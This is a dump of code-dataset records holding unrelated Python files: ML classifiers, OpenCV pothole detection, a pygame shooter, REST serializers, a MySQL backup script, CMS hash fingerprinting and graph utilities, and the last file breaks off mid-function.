d.dataset[ap][day]:\n count += 1\n self.assertEquals( count, 9 )\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_DictDataset.py","file_name":"test_DictDataset.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"158450902","text":"from bayes import *\r\nfrom discriminant import *\r\nfrom KNN import *\r\nfrom logistic_regression import *\r\nfrom neural_network import *\r\nfrom random_forest import *\r\nfrom svm import *\r\nfrom decision_tree import *\r\n\r\n\r\n# Using ZIP code data set to test strength of all scripts...\r\ndef read_zip_data_set():\r\n # Read the data set...\r\n train_3 = \"./train_3.txt\"\r\n train_5 = \"./train_5.txt\"\r\n train_6 = \"./train_6.txt\"\r\n train_8 = \"./train_8.txt\"\r\n\r\n # convert = {1: lambda x: x.decode('utf_8')}\r\n train_3_x = np.genfromtxt(train_3, delimiter=',', skip_header=0, dtype=float, autostrip=True, converters=None)\r\n train_5_x = np.genfromtxt(train_5, delimiter=',', skip_header=0, dtype=float, autostrip=False, converters=None)\r\n train_6_x = np.genfromtxt(train_6, delimiter=',', skip_header=0, dtype=float, autostrip=False, converters=None)\r\n train_8_x = np.genfromtxt(train_8, delimiter=',', skip_header=0, dtype=float, autostrip=False, converters=None)\r\n\r\n # Delete first column, which had a blank...\r\n # print(np.shape(train_3_x))\r\n # train_3_x = np.delete(train_3_x, [1], axis=1)\r\n # print(train_3_x)\r\n\r\n # SAME AS ROW BIND in R\r\n x = np.vstack((train_3_x, train_5_x, train_6_x, train_8_x))\r\n\r\n train_3_y = np.zeros(train_3_x.shape[0])\r\n train_3_y = train_3_y + 3\r\n\r\n train_5_y = np.zeros(train_5_x.shape[0])\r\n train_5_y = train_5_y + 5\r\n\r\n train_6_y = np.zeros(train_6_x.shape[0])\r\n train_6_y = train_6_y + 6\r\n\r\n train_8_y = np.zeros(train_8_x.shape[0])\r\n train_8_y = train_8_y + 8\r\n\r\n # Build the column of Y\r\n y = np.append(train_3_y, train_5_y)\r\n y = np.append(y, train_6_y)\r\n\r\n y = np.append(y, train_8_y)\r\n y = np.transpose(y)\r\n return x, y\r\n\r\n\r\ndef main():\r\n # Read the Data...\r\n # train_x, train_y = read_zip_data_set()\r\n train_x, train_y = read_data_set(\"./../../HOME_g8.csv\")\r\n train_x, train_y, test_x, test_y = get_cv_set(train_x, train_y)\r\n # print(\"Got the Data Set!\")\r\n\r\n # Test frequency\r\n # map = frequency_count(\"./../../HOME_random.csv\")\r\n # frequency_histogram(map)\r\n\r\n # Now train ALL classifiers!\r\n # 1- SVM\r\n svm_line_clf = svm_linear(train_x, train_y, test_x, test_y)\r\n svm_rbf_clf = svm_rbf(train_x, train_y, test_x, test_y)\r\n\r\n # 2- Random Forest\r\n forest_clf = get_forest(train_x, train_y, test_x, test_y)\r\n\r\n # 3- Neural Networks\r\n brain_clf = get_brain(train_x, train_y, test_x, test_y)\r\n\r\n # 4- Logistic Regression\r\n logit_clf = logistic_linear(train_x, train_y, test_x, test_y)\r\n\r\n # 5- KNN\r\n knn_clf = tune_knn(train_x, train_y, test_x, test_y)\r\n\r\n # 6- LDA/QDA\r\n lda_clf = discriminant_line(train_x, train_y, test_x, test_y)\r\n qda_clf = discriminant_quad(train_x, train_y, test_x, test_y)\r\n\r\n # 7- Bayes\r\n bayes, bayes_istonic, bayes_sigmoid = naive_bayes(train_x, train_y, test_x, test_y)\r\n\r\n # 8- Decision Tree\r\n tree = get_tree(train_x, train_y, test_x, test_y)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"Machine_Learning/main_driver.py","file_name":"main_driver.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"27339008","text":"import cv2\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\ninput_image = cv2.imread('dataset/pot71.jpg')\r\n# input_image = cv2.imread('images/p2.jpg')\r\n# input_image = cv2.imread('images/p1.png')\r\nblur = cv2.medianBlur(input_image,5)\r\nbw_img = cv2.medianBlur(blur,21)\r\n\r\n# rgb_planes = cv2.split(bw_img)\r\n#\r\n# result_planes = []\r\n# result_norm_planes = []\r\n# for plane in rgb_planes:\r\n# dilated_img = cv2.dilate(plane, np.ones((7,7), np.uint8))\r\n# bg_img = cv2.medianBlur(dilated_img, 21)\r\n# diff_img = 255 - cv2.absdiff(plane, bg_img)\r\n# cv2.normalize(diff_img,dilated_img, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_8UC1)\r\n# result_planes.append(diff_img)\r\n# result_norm_planes.append(dilated_img)\r\n#\r\n# result = cv2.merge(result_planes)\r\n# result_norm = cv2.merge(result_norm_planes)\r\n# result_norm_temp = cv2.resize(result_norm,(480,640))\r\n# cv2.imshow(\"result\",result)\r\n# cv2.imshow(\"result Normalized\",result_norm_temp)\r\n#\r\n# bw_img = cv2.cvtColor(blur, cv2.COLOR_BGR2GRAY)\r\n#\r\n# bw_img = result_norm\r\n\r\n# equ = cv2.equalizeHist(bw_img)\r\n# res = np.hstack((bw_img,equ)) #stacking images side-by-side\r\n# cv2.imwrite('res.png',res)\r\n# plt.hist(equ.ravel(),256,[0,256])\r\n# plt.show()\r\n# equalized = [val[0] for val in equ]\r\n# indices = list(range(0, 256))\r\n# s = [(x,y) for y,x in sorted(zip(equalized,indices), reverse=True)]\r\n# index_of_highest_peak = s[0][0]\r\n# index_of_second_highest_peak = s[127][0]\r\n# index_of_highest_peak = index_of_highest_peak + index_of_second_highest_peak\r\n# index_of_highest_peak /= 2\r\n# print(index_of_highest_peak)\r\n# print(index_of_second_highest_peak)\r\n\r\nb,g,r = cv2.split(bw_img) # get b,g,r\r\nrgb_img = cv2.merge([r,g,b]) # switch it to rgb\r\n\r\ndst = cv2.fastNlMeansDenoisingColored(rgb_img,None,10,10,7,21)\r\n\r\nb,g,r = cv2.split(dst) # get b,g,r\r\nbw_img = cv2.merge([r,g,b]) # switch it to rgb\r\n\r\n\r\n\r\nbw_img = cv2.cvtColor(bw_img, cv2.COLOR_BGR2GRAY)\r\n\r\n\r\nfor i in range(10):\r\n #bw_img = cv2.medianBlur(bw_img,11)\r\n bw_img = cv2.bilateralFilter(bw_img,9,75,75)\r\n\r\n\r\nret,thresh_img = cv2.threshold(bw_img,110,255,cv2.THRESH_BINARY)\r\ntemp = cv2.resize(thresh_img, (774,1032))\r\ncv2.imshow(\"threshold\",temp)\r\nthresh_img = cv2.Canny(thresh_img,100,200)\r\n\r\n\r\n\r\n\r\ncontours, hierarchy = cv2.findContours(thresh_img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\nhull = []\r\n\r\nfor i in range(len(contours)):\r\n hull.append(cv2.convexHull(contours[i], False))\r\n\r\ndrawing = np.zeros((thresh_img.shape[0], thresh_img.shape[1], 3), np.uint8)\r\n\r\nmax_area = input_image.shape[1] * input_image.shape[0]\r\nmax_area *= 0.001\r\n# print(len(contours))\r\ncnts = list(filter(lambda hull: cv2.contourArea(hull) > max_area, hull))\r\n# print(len(cnts))\r\nfont = cv2.FONT_HERSHEY_SIMPLEX\r\nfontScale = 2\r\nfontColor = (0,255,0)\r\nlineType = cv2.LINE_AA\r\n# img = np.zeros((3096,4128),dtype= np.int32)\r\n\r\n\r\nfor i in range(len(cnts)):\r\n\r\n rect = cv2.minAreaRect(cnts[i])\r\n box = cv2.boxPoints(rect)\r\n box = np.int0(box)\r\n area = cv2.contourArea(cnts[i])\r\n s = \" %(area)d \" % {'area': area}\r\n cv2.putText(drawing,\r\n s,\r\n (box[3][0],box[3][1]),\r\n font,\r\n fontScale,\r\n fontColor,\r\n lineType)\r\n cv2.drawContours(input_image, [box], 0, (0, 0, 255), 2)\r\nalpha = 1\r\nbeta = 1\r\nthresh = cv2.addWeighted(drawing, alpha, input_image, beta, 0)\r\nthresh = cv2.resize(thresh, (480,640))\r\ncv2.imshow(\"Output\", thresh)\r\n# cv2.imshow(\"Output Real\", drawing)\r\n\r\nprint(\"Number of potholes\",len(cnts))","sub_path":"dimensions.py","file_name":"dimensions.py","file_ext":"py","file_size_in_byte":3577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"388267429","text":"#!/usr/bin/env python3\n\n# PYTHON_ARGCOMPLETE_OK\n\nimport os, sys, re\n\nfrom docx import Document\nfrom docx.shared import Inches\n\ndocument = Document('_test.cod.docx')\n\nfor paragraph in document.paragraphs:\n\tprint(paragraph.text)\n\t\n\tfor run in paragraph.runs:\n\n\t\tfor key in dir(run):\n\t\t\tif key.startswith('_'):\n\t\t\t\tcontinue\n\t\t\tprint('\\t', key, getattr(run, key))\n\n\t\t\n","sub_path":"test/readDocx.py","file_name":"readDocx.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"345064994","text":"import pygame\nimport sys\nimport time\n\nfrom bullet import Bullet\nfrom enemy import Enemy\nimport math\n\n########### Bullets Functions ###########\n\n\ndef fire_bullet(bullets,so_settings, screen, ship, sb):\n #create and add a bullet to the group\n \n if (len(bullets) < so_settings.bullets_number):\n new_bullet = Bullet(so_settings, screen, ship)\n bullets.add(new_bullet)\n\ndef fire_enemy_bullet(bullets_enemy, so_settings, screen, enemy, type_X):\n new_bullet = Bullet(so_settings, screen, enemy, type_X)\n #Change bullet color to red\n new_bullet.color = so_settings.enemy_bullet_color\n bullets_enemy.add(new_bullet)\n\ndef update_enemy_bullet(bullets, so_settings, screen):\n bullets.update(bullets, so_settings.type_B)\n\n for bullet in bullets:\n if bullet.rect.top >= screen.get_rect().bottom:\n bullets.remove(bullet)\n \ndef update_bullet(bullets, so_settings, sb): \n bullets.update(bullets)\n\n for bullet in bullets:\n if bullet.rect.bottom <= 0:\n bullets.remove(bullet)\n\ndef draw_bullet_loop(bullets_enemy, type_X):\n for bullet in bullets_enemy.sprites():\n bullet.draw_bullet()\n update_bullet(bullets_enemy, type_X)\n\ndef check_collision_with_enemy(so_settings, screen, ship, enemies, bullet, bullets, exploAni, explosion, stats, sb):\n for enemy in enemies.sprites():\n if bullet.is_collided_with(enemy):\n if enemy.health > 0:\n pygame.sprite.groupcollide(bullets, enemies, True, False)\n enemy.health -= so_settings.ship_power_factor\n else:\n explosion.add(enemy)\n enemies.remove(enemy)\n bullets.remove(bullet)\n play_explosion_sound()\n \n stats.inc_player_scores(enemy.type_X)\n sb.prep_score()\n sb.prep_stars()\n \n \ndef check_collision_with_play_ship(stats, so_settings, explosion, enemies, bullets_enemy, bullets, bullet, ship, sb):\n if bullet.is_collided_with(ship):\n if ship.health > 0:\n bullets_enemy.remove(bullet)\n ship.health -= bullet.power\n\n elif(stats.ships_left > 0):\n ship.explosion = True\n else:\n stats.game_active = False\n stats.main_menu = True\n stats.new_game = True\n #stats.reset_stats()\n #sb.prep_score()\n \n \n explode_ship(stats, enemies, bullets_enemy, bullets, ship, sb)\n\ndef explode_ship(stats, enemies, bullets_enemy, bullets, ship, sb):\n\n if ship.explosion:\n ship.explosionAni()\n ship.display = False\n if (ship.index >= 20):\n destroy_ship(stats, bullets, bullets_enemy, enemies, ship, sb)\n play_explosion_sound()\n sb.prep_stars()\n \n \ndef update(so_settings, screen, bullets, enemies, bullets_enemy, ship, exploAni, explosion, stats, sb): \n\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n check_collision_with_enemy(so_settings, screen, ship, enemies, bullet, bullets, exploAni, explosion, stats, sb)\n\n if(stats.total_kills == so_settings.level_up_generating_speed):\n so_settings.increase_speed()\n so_settings.level_up_generating_speed += 10\n\n elif(stats.total_kills == so_settings.level_up_enemies_speed):\n so_settings.increse_enemies_speed()\n so_settings.level_up_enemies_speed += 20\n\n for enemy in explosion.sprites():\n if enemy.index < 20:\n enemy.explosionAni(screen, exploAni)\n display_score(enemy.type_X, so_settings, enemy, screen)\n else:\n explosion.remove(enemy)\n \n ship.update(so_settings)\n if(ship.display):\n ship.blitme()\n pygame.display.flip()\n\n######### Ships Functions(ship/enemy) #########\n\n \ndef create_enemy(enemies, so_settings, screen, ship, type_X):\n new_enemy = Enemy(so_settings, screen, ship, type_X)\n enemies.add(new_enemy) \n\ndef update_enemy(so_settings, explosion, stats, screen, ship, enemies, bullets_enemy, bullets, sb):\n\n for bullet in bullets_enemy.sprites():\n bullet.draw_bullet()\n check_collision_with_play_ship(stats, so_settings, explosion, enemies, bullets_enemy, bullets, bullet, ship, sb)\n \n for enemy in enemies.sprites():\n enemy.check_bullet(screen, bullets_enemy, enemy)\n enemy.blit_enemy()\n\n if pygame.sprite.spritecollideany(ship, enemies):\n ship.explosion = True\n explosion.add(enemy)\n\n explode_ship(stats, enemies, bullets_enemy, bullets, ship, sb)\n enemies.update(ship, enemies)\n\ndef generate_enemy(so_settings, stats, last_tick, screen, ship, enemies, bullets_enemy, bullets, explosion, sb):\n this_tick = (pygame.time.get_ticks())\n total_ticks = (this_tick - last_tick)\n\n if(convertToSec(total_ticks) == so_settings.generate_enemy1_period):\n type_X = so_settings.type_B\n create_enemy(enemies, so_settings, screen, ship, type_X)\n last_tick = this_tick\n so_settings.generate_enemy1_period += so_settings.generate_enemy1_period_increse\n \n if(stats.total_kills == so_settings.generate_enemy2_period):\n type_X = so_settings.type_C\n create_enemy(enemies, so_settings, screen, ship, type_X)\n last_tick = this_tick\n so_settings.generate_enemy2_period += so_settings.generate_enemy2_period_increse\n\n update_enemy(so_settings, explosion, stats, screen,ship, enemies, bullets_enemy, bullets, sb)\n\ndef destroy_ship(stats, bullets, bullets_enemy, enemies, ship, sb):\n #Destroy the ship and create a new one\n stats.ships_left -= 1\n\n bullets.empty()\n bullets_enemy.empty()\n enemies.empty()\n ship.reset_ship()\n sb.health_bar()\n \n\n############# Events and others #############\n\ndef play_explosion_sound():\n explosion_sound = pygame.mixer.Sound(\"sounds/explosion.wav\")\n explosion_sound.set_volume(0.2)\n explosion_sound.play()\n\ndef start_background_music():\n pygame.mixer.music.load('sounds/soundtrack.ogg')\n pygame.mixer.music.set_volume(0.2)\n pygame.mixer.music.play()\n\ndef display_score(type_X, so_settings, enemy, screen):\n font = pygame.font.SysFont(None, 20)\n\n if type_X == so_settings.type_B:\n score_msg = '+' + str(so_settings.score_ship_B)\n else:\n score_msg = '+' + str(so_settings.score_ship_C)\n\n score_image = font.render(score_msg, True, (0, 204, 0))\n score_image_rect = score_image.get_rect()\n score_image_rect.x = enemy.rect.x\n score_image_rect.y = enemy.rect.top\n \n screen.blit(score_image, score_image_rect)\n\ndef check_start_button(btn, stats, so_settings,sb):\n mouse_x, mouse_y = pygame.mouse.get_pos()\n check_btn_pos(btn, stats, mouse_x, mouse_y, so_settings, sb )\n\ndef check_btn_pos(btn, stats, mouse_x, mouse_y, so_settings, sb):\n if btn.rect.collidepoint(mouse_x, mouse_y):\n stats.reset_stats()\n sb.prep_score()\n if stats.new_game:\n stats.ships_left += 1\n \n so_settings.initilize_dynamic_settings()\n stats.main_menu = False\n stats.game_active = True\n \n\ndef check_event(screen, so_settings, ship, bullets, sb, stats, btn):\n #trace the game updates\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n key_down_event(so_settings, event, ship, bullets, screen, sb, stats)\n elif event.type == pygame.KEYUP:\n key_up_event(event, ship)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n check_start_button(btn, stats, so_settings, sb) \n\n\ndef key_down_event(so_settings ,event ,ship, bullets, screen, sb, stats):\n if event.key == pygame.K_UP:\n ship.moving_top = True\n elif event.key == pygame.K_DOWN:\n ship.moving_bottom = True\n elif event.key == pygame.K_RIGHT:\n ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n elif event.key == pygame.K_SPACE:\n fire_bullet(bullets, so_settings, screen, ship, sb)\n elif event.key == pygame.K_p:\n check_game_status(stats)\n elif event.key == pygame.K_q:\n sys.exit()\n\ndef key_up_event(event, ship):\n if event.key == pygame.K_UP:\n ship.moving_top = False\n elif event.key == pygame.K_DOWN:\n ship.moving_bottom = False\n elif event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT: \n ship.moving_left = False \n\n \ndef convertToSec(time_in_mileSec):\n seconds = (time_in_mileSec/1000)\n return math.ceil(seconds);\n\n\ndef move_bg(so_settings, screen, sb, stats, last_tick):\n rel_y = so_settings.bg_image_y % so_settings.bg_image.get_rect().height\n bg_image = pygame.transform.scale(so_settings.bg_image, so_settings.bg_scale)\n screen.blit(bg_image, (0 ,rel_y - so_settings.bg_image.get_rect().height))\n\n if rel_y < screen.get_rect().height:\n screen.blit(bg_image, (0 , rel_y))\n \n so_settings.bg_image_y += so_settings.bg_movement_speed\n \n \n if(not stats.game_active and not stats.main_menu):\n stats.pause_game()\n pygame.display.flip()\n \n elif not stats.main_menu:\n sb.show_board_elements()\n check_instruct(stats, last_tick) \n \ndef check_game_status(stats):\n if stats.game_active:\n stats.game_active = False\n else:\n stats.game_active = True\n \ndef check_instruct(stats, last_tick):\n this_tick = pygame.time.get_ticks()\n total_ticks = (this_tick - last_tick)\n \n if(convertToSec(total_ticks) <= 5):\n stats.display_instruct()\n \n \n","sub_path":"game_functions.py","file_name":"game_functions.py","file_ext":"py","file_size_in_byte":9735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"70611606","text":"import cv2\n\nimg = cv2.imread(\"test_gray.jpg\", cv2.IMREAD_UNCHANGED)\nreturn_val_, binary_img = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY) # 二值化 将灰度值低于128的变为0 高于128的变为255\nreturn_val_inv, binary_img_inv = cv2.threshold(img, 128, 255, cv2.THRESH_BINARY_INV) # 反二值化\nreturn_val_trunc, trunc_img = cv2.threshold(img, 128, 255, cv2.THRESH_TRUNC) # 截断亮度过大的 将灰度值高于128的变为128\nreturn_val_to_zero, to_zero_img = cv2.threshold(img, 128, 255, cv2.THRESH_TOZERO) # 将灰度值低于128的像素点变为0\nreturn_val_to_zero_inv, to_zero_inv_img = cv2.threshold(img, 128, 255, cv2.THRESH_TOZERO_INV) # 将灰度值高于128的像素点变为0\ncv2.imshow(\"img\", img)\ncv2.imshow(\"binary_img\", binary_img)\ncv2.imshow(\"binary_img_inv\", binary_img_inv)\ncv2.imshow(\"trunc_img\", trunc_img)\ncv2.imshow(\"to_zero_img\", to_zero_img)\ncv2.waitKey()\n","sub_path":"threshold阈值分割.py","file_name":"threshold阈值分割.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"649442473","text":"from rest_framework.fields import CharField\nfrom rest_framework.serializers import Serializer, BaseSerializer, ListSerializer\n\nfrom restdoctor.rest_framework.serializers import ModelSerializer\nfrom tests.stubs.models import MyModel\n\n\nclass BaseObjectSerializer(Serializer):\n data = BaseSerializer(required=False, allow_null=True)\n\n\nclass BaseListSerializer(Serializer):\n data = ListSerializer(\n required=False, allow_empty=True,\n child=BaseSerializer(required=False, allow_null=True),\n )\n\n\nclass MyModelSerializer(ModelSerializer):\n class Meta:\n model = MyModel\n fields = ['uuid']\n\n\nclass MyModelExtendedSerializer(ModelSerializer):\n class Meta:\n model = MyModel\n fields = ['uuid', 'id']\n\n\nclass MyModelWithoutHelpTextsSerializer(ModelSerializer):\n class Meta:\n model = MyModel\n fields = ['timestamp', 'abstract_field']\n\n abstract_field = CharField()\n","sub_path":"tests/stubs/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"582643999","text":"from .room import Room\n\n\nclass Shrine(Room):\n\n def __init__(self, name, description, inventory=None, guardian=None):\n super().__init__(name, description, inventory=inventory)\n self.__guardian = guardian\n if self.__guardian is not None:\n # If we initialize with a guardian,\n # let the guardian know that this is its shrine\n self.__guardian.shrine = self\n\n @property\n def guardian(self):\n return self.__guardian\n\n @guardian.setter\n def guardian(self, guardian):\n \"\"\"\n Connects the guardian and Shrine together.\n Also used to set guardian attribute to None.\n \"\"\"\n if guardian is not None:\n guardian.shrine = self\n self.__guardian = guardian\n","sub_path":"python/src/models/shrine.py","file_name":"shrine.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"44476933","text":"#!/usr/bin/python3\nimport os\nimport subprocess\nimport datetime\nfrom glob import glob\n\nimport tw\n\n\ndef backup(prefix, table_types):\n tables = ''\n for table_type in table_types:\n tables += prefix+'_'+table_type+' '\n datestr = datetime.date.today().strftime('%Y-%m-%d')\n path = os.path.join(tw.sqldir, 'backups', prefix+'_'+datestr+'.sql')\n cmd = 'mysqldump records {} > {}'.format(tables, path)\n print(\"Creating backup of {} from {}\".format(prefix, datestr))\n subprocess.run(cmd, shell=True)\n clean_backups(prefix)\n\ndef clean_backups(prefix):\n \"\"\"Keep just one backup per month and 10 at max.\"\"\"\n backups = glob(os.path.join(tw.sqldir, 'backups', prefix+'_*.sql'))\n backups.sort(reverse=True)\n current_month = None\n for backup in backups.copy():\n month = backup[-14:-7]\n if month == current_month:\n backups.remove(backup)\n os.unlink(backup)\n current_month = month\n for backup in backups[10:]:\n os.unlink(backup)\n\n\nbackup('gores', ['race', 'teamrace'])\nbackup('race', ['lastrecords', 'maps', 'race', 'saves'])\n","sub_path":"sql/database_backup.py","file_name":"database_backup.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"137045245","text":"import sys\nsys.setrecursionlimit(2000000)\n\nn = int(input())\ng = [list(map(int,input().split()))[2:] for _ in range(n)]\n\ndef dfs(x, time):\n first[x] = time\n\n time += 1\n for v in g[x]:\n if first[v-1] == 0:\n time = dfs(v-1, time)\n finish[x] = time\n time += 1\n\n return time\n\n\nfirst = [0]*n\nfinish = [0]*n\n\ntime = 1\nfor i in range(n):\n if first[i] == 0:\n time = dfs(i, time)\n\nfor i in range(n):\n print(i+1, first[i], finish[i])\n\n","sub_path":"backet_python/rurushu.py","file_name":"rurushu.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"640156920","text":"#\n# Copyright 2010-2012 Fabric Technologies Inc. All rights reserved.\n#\n\nimport FabricEngine.CreationPlatform\nfrom FabricEngine.CreationPlatform.Nodes.Importers.AlembicImporterImpl import AlembicImporter\nfrom FabricEngine.CreationPlatform.PySide import *\n\n\nclass AlembicExplorerApplication(BaseAssetExplorerApplication):\n\n def __init__(self):\n\n super(AlembicExplorerApplication, self).__init__(\n rootPath=FabricEngine.CreationPlatform.buildAbsolutePath('..', 'Resources', 'Samples')\n )\n\n self.setWindowTitle(\"Creation Platform Alembic Explorer\")\n self.resize(800,500)\n\n # Setup Application Services. \n\n self.setupGlobalTimeNode()\n self.setupGrid(gridSize=10)\n self.setupCamera(\n cameraPosition=Vec3(6.0, 4.0, 10.0),\n cameraTarget=Vec3(0.0, 2.0, 0.0)\n )\n\n self.__alembicImporter = AlembicImporter(self.getScene(),\n constructCameras=False,\n setupCameraMenu=False\n )\n\n self.addImporter(self.__alembicImporter)\n\n self.addEventListener('currentFileChanged', self.__onFileChanged)\n\n self.constructionCompleted()\n\n def __onFileChanged(self, data):\n timeRange = self.__alembicImporter.getTimeRange()\n if timeRange.y - timeRange.x > 1.0:\n self.getGlobalTimeNode().getParameter('range').setValue(timeRange)\n else:\n self.getGlobalTimeNode().getParameter('range').setValue(Vec2(0.0, 10.0))\n\nif __name__ == '__main__':\n AlembicExplorerApplication().exec_()\n","sub_path":"PIBrowser/AlembicExplorer.py","file_name":"AlembicExplorer.py","file_ext":"py","file_size_in_byte":1433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"327120049","text":"import sqlite3\n\ndef select_query(sql, args=None):\n \"\"\"Executes a passed sql query and returns the result as list.\"\"\"\n sql = sql.strip()\n if not sql.lower().startswith(\"select\"):\n raise ValueError(\"SQL query must be a SELECT query\")\n\n with sqlite3.connect(DB_PATH) as db:\n c = db.cursor()\n if args:\n c.execute(sql, args)\n else:\n c.execute(sql)\n return c.fetchall()\n\n\ndef known_cms_names():\n \"\"\"Returns a list of cms names stored in the database.\"\"\"\n sql = \"SELECT DISTINCT name from tbl_cms\"\n return [n[0] for n in select_query(sql)]\n\n\ndef find_hash_matches(hashes, cms_name=None):\n \"\"\"Queries the database for the passed list of hashes and returns possible\n matches.\"\"\"\n\n sql = \"\"\"SELECT c.name, h.cms_version, h.path, h.hash\n FROM tbl_cms AS c,\n tbl_hash AS h\n WHERE h.hash = ?\n AND c.id = h.cms_id\n \"\"\"\n if cms_name:\n sql += \"AND lower(c.name) = lower(?)\"\n results = []\n for hash_ in hashes:\n if hash_ and not cms_name:\n results.extend([h for h in select_query(sql, (hash_, )) if h])\n elif hash_ and cms_name:\n results.extend([h for h in select_query(sql, (hash_, cms_name)) if h])\n \n return results\n\n\ndef get_common_paths(cms_name):\n \"\"\"Returns most common paths for a passed cms name and returns the result\n as a list. An empty list is returned when the cms doesn't exist.\"\"\"\n\n if not cms_name:\n return []\n\n sql = \"\"\"\n SELECT DISTINCT h.path\n FROM tbl_hash AS h,\n tbl_cms AS c\n WHERE c.id = h.cms_id\n AND lower(c.name) = lower(?)\n AND (h.path LIKE '/%.txt'\n OR h.path LIKE '/%.html'\n OR h.path LIKE '/%.xml'\n OR h.path LIKE '/%.md'\n OR h.path LIKE '/%changelog.%')\n AND length(h.path) <= 31 \n COLLATE NOCASE\n LIMIT 12\n \"\"\"\n return [p[0] for p in select_query(sql, (cms_name, )) if p]\n\n","sub_path":"modules/hashdb.py","file_name":"hashdb.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"104107172","text":"import networkx as nx\nimport pickle\n\n\ndef get_cls(nodes):\n '''\n get nodes' class set\n :param nodes:\n :return: cls->[node id]\n '''\n d = dict()\n for i in range(len(nodes)):\n for cls in nodes[i].cls:\n if cls in d:\n d[cls].append(i)\n else:\n d[cls] = [i]\n return d\n\n\ndef get_cls_index(index, cls):\n keys = cls.keys()\n cls_index = dict()\n for k in keys:\n for k1 in keys:\n d = float(\"inf\")\n nk = get_cls_index_key(k, k1)\n nk1 = get_cls_index_key(k1, k)\n for i in cls[k]:\n for j in cls[k1]:\n if index[i][j] < d:\n d = index[i][j]\n cls_index[nk] = d\n cls_index[nk1] = d\n return cls_index\n\n\ndef get_cls_index_key(poi_a, poi_b):\n return poi_a + \"-\" + poi_b\n\n\ndef convert(cal_fp, graph_fp):\n '''\n Convert CALMAP file format to undirect graph file\n :param cal_fp:\n :param graph_fp:\n :return:\n '''\n start_node_id = None\n is_edge = True\n poi_num = 0\n with open(graph_fp, \"w\") as wf:\n with open(cal_fp, \"r\") as rf:\n line = rf.readline()\n while line:\n line = line.strip()\n try:\n if is_edge:\n start_node_id, poi_num = __write_edge_info(wf, line)\n is_edge = True if poi_num == 0 else False\n else:\n __write_poi_info(wf, line, start_node_id, poi_num)\n is_edge = True\n except Exception as e:\n print(\"Error with line: %s\" % line, e)\n line = rf .readline()\n\n\ndef convert_ob_graph(graph_fp, dij_graph_fp):\n '''\n Convert normal graph to Graph obj and save\n :param graph_fp:\n :param dij_graph_fp:\n :return:\n '''\n print(\"Convert graph file info <{}> to networkx graph obj to path <{}>...\"\\\n .format(graph_fp, dij_graph_fp))\n graph = nx.Graph()\n with open(graph_fp, \"r\") as rf:\n for line in rf:\n items = line.split(maxsplit=2)\n id1 = __get_id(items[0])\n id2 = __get_id(items[1])\n cost = float(items[2])\n graph.add_edge(id1, id2, weight=cost)\n with open(dij_graph_fp, \"wb\") as f:\n pickle.dump(graph, f, pickle.HIGHEST_PROTOCOL)\n print(\"Convert graph info done!\")\n\n\ndef get_dij_cls_index(nodes, cls, dij_graph, cls_index_fp):\n '''\n Get category min distance index and save\n :param nodes: adjacent graph\n :param cls: category dict\n :param dij_graph: networkx graph\n :param cls_index_fp: category min distance index file path\n :return: category min distance index\n '''\n print(\"Building category min distance index...\")\n cls_index = dict()\n inf = float(\"inf\")\n for c1 in cls:\n for c2 in cls:\n k1 = get_cls_index_key(c1, c2)\n k2 = get_cls_index_key(c2, c1)\n cls_index[k1] = inf\n cls_index[k2] = inf\n print(\"Index init done!\")\n count = 0\n total = len(nodes)\n for node in nodes:\n result = nx.single_source_dijkstra_path_length(dij_graph, node.id)\n c1 = node.cls[0]\n for target_id, cost in result.items():\n if target_id != node.id:\n c2 = nodes[target_id].cls[0]\n k1 = get_cls_index_key(c1, c2)\n if cost < cls_index[k1]:\n k2 = get_cls_index_key(c2, c1)\n cls_index[k1] = cost\n cls_index[k2] = cost\n count += 1\n print(\"({}/{}) finished!\".format(count, total))\n with open(cls_index_fp, \"wb\") as f:\n pickle.dump(cls_index, f, pickle.HIGHEST_PROTOCOL)\n return cls_index\n\n\ndef __get_id(s):\n s = s.strip().split(\"-\", maxsplit=1)\n if len(s) == 1:\n return int(s[0])\n return int(s[1])\n\n\ndef __write_edge_info(wf, line):\n '''\n Write edge info\n :param wf:\n :param line:\n :return: the poi numbers\n '''\n pattern = \"%s %s %s\\n\"\n items = line.split(maxsplit=3)\n id1 = items[0]\n id2 = items[1]\n weight = items[2]\n poi_num = int(items[3])\n 